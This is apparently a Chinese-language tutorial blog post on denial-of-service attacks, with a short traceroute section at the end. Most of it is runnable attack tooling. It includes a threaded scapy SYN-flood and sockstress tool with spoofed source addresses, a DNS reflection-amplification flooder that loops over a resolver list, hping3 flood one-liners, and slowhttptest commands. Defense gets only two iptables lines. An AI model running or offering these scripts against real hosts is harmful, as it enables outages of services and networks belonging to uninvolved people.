SynFlood 洪水攻击
Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送大量半连接状态的数据包,从而耗尽目标系统的连接池,默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。windows 系统半开连接数是10个
攻击者伪造地址对服务器发起SYN请求,服务器就会回应 SYN+ACK 此时攻击者的主机拒绝发送 RST+ACK 那么,服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。
虽然有丢弃的环节,但是如果攻击者的攻击速度大于目标主机的丢包速度的话,就会发生拒绝服务,因为TCP连接池一旦被填满,那么真正的连接无法建立,无法响应正常请求。
可以使用scapy工具进行验证,发送一个正常数据包,代码如下,发生攻击后再服务器上通过使用 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
匹配所有半开放链接,你可以看都非常多等待状态的连接得不到相应。
ip = IP()
ip.dst="192.168.1.10"
tcp=TCP()
sr1(ip/tcp,verbose=1,timeout=3)
sr1(IP(dst="192.168.1.10")/TCP())
攻击代码如下
#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
# windows 系统半开连接数是10个
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.1.10 -j DROP
# 匹配所有半开放链接 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
# ip = IP()
# ip.dst="192.168.1.10"
# tcp=TCP()
# sr1(ip/tcp,verbose=1,timeout=3)
# sr1(IP(dst="192.168.1.10")/TCP())
target = "192.168.1.20"
dstport = 22
isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isrc = "192.168.1.2"
print(isrc,dstport)
isport = random.randint(1,65535)
ip = IP(src = isrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)
Sock Stress 全连接攻击
该攻击方式属于TCP全连接攻击,因为需要建立一次完整的TCP三次握手,该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0,实现的拒绝服务。
攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。
该攻击与目标建立大量的socket连接,并且都是完整连接,最后的ACK包,将Windows大小设置为0,客户端不接收数据,而服务器会认为客户端缓冲区没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机也可以拒绝高配的服务器。
#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'
def sockstress(target,dstport):
xport = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'x00x00',verbose=0)
sockstress("192.168.1.20",80)
除了自己编写代码实现以外还可以下载一个项目 https://github.com/defuse/sockstress 该项目是发现这个漏洞的作者编写的利用工具,具体使用如下。
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
wget https://www.blib.cn/sh/sockstress.c
git clone https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http
直到今天sockstress攻击仍然效果明显,由于攻击过程建立了完整的TCP三次握手,所以使用syn cookie防御无效,我们可以通过防火墙限制单位时间内每个IP建立的TCP连接数来阻止这种攻击的蔓延。
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
但是该方法依然我发防御DDOS拒绝服务的攻击,这种攻击只能拼机器拼资源了。
最后将前面两种攻击手段封装成一个,该代码只能在Linux系统下使用。
#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
semaphore.acquire() # 加锁
isport = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'x00x00',verbose=0)
print("[+] sendp --> {} {}".format(target,isport))
semaphore.release() # 释放锁
# 攻击目标主机TCP/IP半开放连接数,windows系统半开连接数是10个
def synflood(target,dstport):
semaphore.acquire() # 加锁
issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isport = random.randint(1,65535)
ip = IP(src = issrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)
print("[+] sendp --> {} {}".format(target,isport))
semaphore.release() # 释放锁
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
(options,args) = parser.parse_args()
# 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
if options.types == "synflood" and options.host and options.port and options.thread:
semaphore = threading.Semaphore(options.thread)
while True:
t = threading.Thread(target=synflood,args=(options.host,options.port))
t.start()
elif options.types == "sockstress" and options.host and options.port and options.thread:
semaphore = threading.Semaphore(options.thread)
while True:
t = threading.Thread(target=sockstress,args=(options.host,options.port))
t.start()
else:
parser.print_help()
使用syn flood 攻击方式:python3 c.py --type=synflood -H 192.168.1.10 -p 3389 -t 100
使用sock并发攻击: python3 c.py --type=sockstress -H 192.168.1.10 -p 80 -t 100
以太网数据包分段
备注:以下的两张图片来源于,安全牛课件,感觉不错,我就不自己画图了,原理很简单的东西。
数据包的最大传输单位是1500,如果超过这个大小数据包将会分片传输,分片传输则需要设置传输ID号,以及ip.frag_offset
偏移值,当设置了偏移值的时候,系统默认根据ID号为单位对数据包进行分段接收,收到全部包时在进行组合,并传输给系统识别。
传输第一个数据包时会跟随有MAC头,上层包头等完整信息,传输后续包的时候默认只会保留IP头与数据段,在IP头保留 Fragment offset
说明这是一个分段传输。
下面以执行ping -l 5000 192.168.1.10
为例,向目标发送5000字节大小的数据包,5000/1480 = 3.37 也就会分四段进行传输。
如下图,可以看出每次发送的数据都是,Total Length: 1500
,而Fragment offset
则指定每一个数据包的实际偏移值,ID则是数据包的分组号。
最后一个数据包将会把剩下的数据进行传递,并开始差错校验,组合成最终的数据。
DNS查询放大攻击
通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。
此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2)
查询指定网站的DNS记录,结果如下。
上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。
这里需要在网上找一些DNS服务器,我整理了一些: https://www.blib.cn/sh/dnslist.log
脚本验证可用性
import socket,os,sys
from scapy.all import *
def Inspect_DNS_Usability(filename):
proxy_list = []
fp = open(filename,"r")
for i in fp.readlines():
try:
addr = i.replace("
","")
respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
if respon != "":
proxy_list.append(str(respon["IP"].src))
except Exception:
pass
return proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:
fp.write(item + "
")
fp.close()
验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS
来构建,以下代码可以完成发包测试
import socket,os,sys
from scapy.all import *
# 构造IP数据包
ip_pack = IP()
ip_pack.src = "192.168.1.2"
ip_pack.dst = "8.8.8.8"
# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 构建DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 构建DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
最后的代码如下。
import os,sys,threading,time
from scapy.all import *
from optparse import OptionParser
def Inspect_DNS_Usability(filename):
proxy_list = []
fp = open(filename,"r")
for i in fp.readlines():
try:
addr = i.replace("
","")
respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
if respon != "":
proxy_list.append(str(respon["IP"].src))
except Exception:
pass
return proxy_list
def DNS_Flood(target,dns):
# 构造IP数据包
ip_pack = IP()
ip_pack.src = target
ip_pack.dst = dns
# ip_pack.src = "192.168.1.2"
# ip_pack.dst = "8.8.8.8"
# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53
# 构造DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1
# 构造DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255
dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
parser.add_option("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
parser.add_option("-t",dest="target",help="输入需要攻击的IP地址")
(options,args) = parser.parse_args()
# 使用方式: main.py --mode=check -f xxx.log
if options.mode == "check" and options.file:
proxy = Inspect_DNS_Usability(options.file)
fp = open("pass.log","w+")
for item in proxy:
fp.write(item + "
")
fp.close()
print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
# 使用方式: main.py --mode=flood -f xxx.log -t 192.168.1.1
elif options.mode == "flood" and options.target and options.file:
with open(options.file,"r") as fp:
countent = [line.rstrip("
") for line in fp]
while True:
randomDNS = str(random.sample(countent,1)[0])
print("[+] 目标主机: {} -----> 随机DNS: {}".format(options.target,randomDNS))
t = threading.Thread(target=DNS_Flood,args=(options.target,randomDNS,))
t.start()
else:
parser.print_help()
应用层DOS慢速攻击
slowhttptest: 该攻击是一款慢速攻击工具,其擅长攻击Apache/Tomcat这里应用层服务,通常情况下,http协议在接收到完整的客户端请求数据包时才会开始处理本次请求,但如果攻击者通过修改数据包中的Window窗口大小,实现慢速发送数据包,那么服务器就会始终为其保留连接池资源占用,此类大量的并发请求将会导致目标应用服务的连接池爆满,从而无法相应正常用的请求。
1.下载并安装
lyshark@Dell:~$ git clone https://github.com/shekyan/slowhttptest.git
lyshark@Dell:~$ ./configure
lyshark@Dell:~$ make && make install
lyshark@Dell:~$ slowhttptest --help
-g 在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
-H SlowLoris模式
-B Slow POST模式
-R Range Header模式
-X Slow Read模式
-c number of connections 测试时建立的连接数
-d HTTP proxy host:port 为所有连接指定代理
-e HTTP proxy host:port 为探测连接指定代理
-i seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
-l seconds 测试维持时间
-n seconds 在Slow Read模式下,指定每次操作的时间间隔。
-o file name 使用-g参数时,可以使用此参数指定输出文件名
-p seconds 指定等待时间来确认DoS攻击已经成功
-r connections per second 每秒连接个数
-s bytes 声明Content-Length header的值
-t HTTP verb 在请求时使用什么操作,默认GET
-u URL 指定目标url
-v level 日志等级(详细度)
-w bytes slow read模式中指定tcp窗口范围下限
-x bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
-y bytes slow read模式中指定tcp窗口范围上限
-z bytes 在每次的read()中,从buffer中读取数据量
2.使用方式.
slowloris模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://www.xxx.com/index.html -x 24 -p 3
slow post模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u https://www.xxx.com/index.html -x 10 -p 3
slow read模式:攻击者通过调整TCP Window窗口大小,使服务器慢速返回数据
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://www.xxx.com/index.html -p 3
Hping3: 工具的使用,该工具灵活性极高,常用于定制发送TCP/IP数据包,例如定制SYN Flood攻击包,ICMP/UDP等攻击
# 进行Syn Flood攻击, -c=攻击次数/ -d=数据包大小/ -S=Syn/ -p=端口 / -w = window窗口大小 / --flood=洪水攻击 --rand-source=随机源地址
hping3 - c 2000 -d 100 -S -w 64 -p 80 --flood --rand-source 192.168.1.10
hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.10
# 进行TCP Flood攻击,
hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.10
# 进行UDP flood 攻击
hping3 -a 192.168.1.10 --udp -s 53 -d 100 -p 53 --flood 192.168.1.10
# 进行ICMP攻击
hping3 -q -n -a 192.168.1.10 --icmp -d 56 --flood 192.168.1.10
# 特殊TCP攻击:源地址目标地址都是受害者,受害者自己完成三次握手
hping3 -n -a 192.168.1.10 -S -d 100 -p 80 --flood 192.168.1.10
tracert TTL值(拓展)
tracert 命令,跟踪路由原理是IP路由每经过一个路由节点TTL值会减一,假设TTL值=0时数据包还没有到达目标主机,那么该路由则会回复给目标主机一个数据包不可达,由此我们就可以获取到目标主机的IP地址,如下通过scapy构造一个TTL为1的数据包,发送出去。
>>> from random import randint
>>> RandomID=randint(1,65534)
>>> packet = IP(dst="61.135.169.125", ttl=1, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "hello"
>>> respon = sr1(packet,timeout=3,verbose=0)
>>>
>>> respon
<IP version=4 ihl=5 tos=0xc0 len=61 id=14866 flags= frag=0 ttl=64 proto=icmp chksum=0xbc9a src=192.168.1.1 dst=192.168.1.2 |<ICMP type=time-exceeded code=ttl-zero-during-transit chksum=0xf4ff reserved=0 length=0 unused=None |<IPerror version=4 ihl=5 tos=0x0 len=33 id=49588 flags= frag=0 ttl=1 proto=icmp chksum=0x4f79 src=192.168.1.2 dst=61.135.169.125 |<ICMPerror type=echo-request code=0 chksum=0x30c4 id=0xc1b4 seq=0xc1b4 |<Raw load='hello' |>>>>>
一開始发送一个TTL为1的包,这样到达第一个路由器的时候就已经超时了,第一个路由器就发ICMP通知说包超时,这样就能够记录下所经过的第一个路由器的IP。然后将TTL加1,安全通过第一个路由器,而第二个路由器的的处理与第一个同样,丢包,发通知说包超时了,这样记录下第二个路 由器IP,由此能够一直进行下去,直到这个数据包到达目标主机,由此打印出全部经过的路由器。
将这个过程自动化,就可以完成数据包的跟踪,Python 代码如下所示
from scapy.all import *
from random import randint
import time,ipaddress,threading
from optparse import OptionParser
def ICMP_Ping(addr):
RandomID=randint(1,65534)
packet = IP(dst=addr, ttl=64, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "lyshark"
respon = sr1(packet,timeout=3,verbose=0)
if respon:
print("[+] --> {}".format(str(respon[IP].src)))
def TraceRouteTTL(addr):
for item in range(1,128):
RandomID=randint(1,65534)
packet = IP(dst=addr, ttl=item, id=RandomID) / ICMP(id=RandomID, seq=RandomID)
respon = sr1(packet,timeout=3,verbose=0)
if respon != None:
ip_src = str(respon[IP].src)
if ip_src != addr:
print("[+] --> {}".format(str(respon[IP].src)))
else:
print("[+] --> {}".format(str(respon[IP].src)))
return 1
else:
print("[-] --> TimeOut")
time.sleep(1)
if __name__== "__main__":
parser = OptionParser()
parser.add_option("--mode",dest="mode",help="选择使用的工具模式<ping/trace>")
parser.add_option("-a","--addr",dest="addr",help="指定一个IP地址或范围")
(options,args) = parser.parse_args()
# 使用方式: main.py --mode=ping -a 192.168.1.0/24
if options.mode == "ping":
net = ipaddress.ip_network(str(options.addr))
for item in net:
t = threading.Thread(target=ICMP_Ping,args=(str(item),))
t.start()
# 使用方式: main.py --mode=trace -a 61.135.169.121
elif options.mode == "trace":
TraceRouteTTL(str(options.addr))
else:
parser.print_help()